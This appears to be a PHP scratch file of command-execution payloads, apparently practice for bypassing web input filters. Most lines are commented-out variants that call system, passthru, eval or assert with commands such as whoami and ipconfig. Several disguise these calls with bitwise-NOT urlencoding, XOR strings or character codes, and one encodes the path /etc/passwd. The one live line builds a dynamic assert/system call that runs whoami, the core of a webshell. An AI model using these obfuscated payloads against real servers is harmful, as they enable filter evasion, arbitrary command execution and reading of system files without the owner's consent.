<?php
//$a="system('ipconfig')";
//create_function('',$a);

//eval(system('pwd'));
//passthru("w".chr(104).chr(111).chr(97).chr(109).chr(105));
//passthru(''("whoami"));
//(readfile('e:/1.'.'txt'));

//$a = urlencode(~'/etc/passwd');//必须加上~,否则不会字母转义
//echo $a;
//$a="whoami";
//$b='system("whoami")';
//eval(`$a`);
//print_r("0302181"^"@[@[_^^");
//eval()
//$a=urlencode(~"system('ipconfig')");
//echo $a;
//$b='(~%8C%86%8C%8B%9A%92%D7%D8%96%8F%9C%90%91%99%96%98%D8%D6)';
//eval($b);
//echo (~%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c);
//$a=urldecode('%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c');
//echo $a;
$a="assert//#";
$b='system';
$c='whoami';
//$c='whoami';
$a($b($c));
//(include ('./a.txt'));
////echo urlencode('%9c%9e%93%93%a0%8a%8c%9a%8d%a0%99%8a%91%9c');
//echo $d;< php
//assert(system('ls'));//#
//<script>

//</script>
//system(whoami);//());
//echo "aaaaaaaa";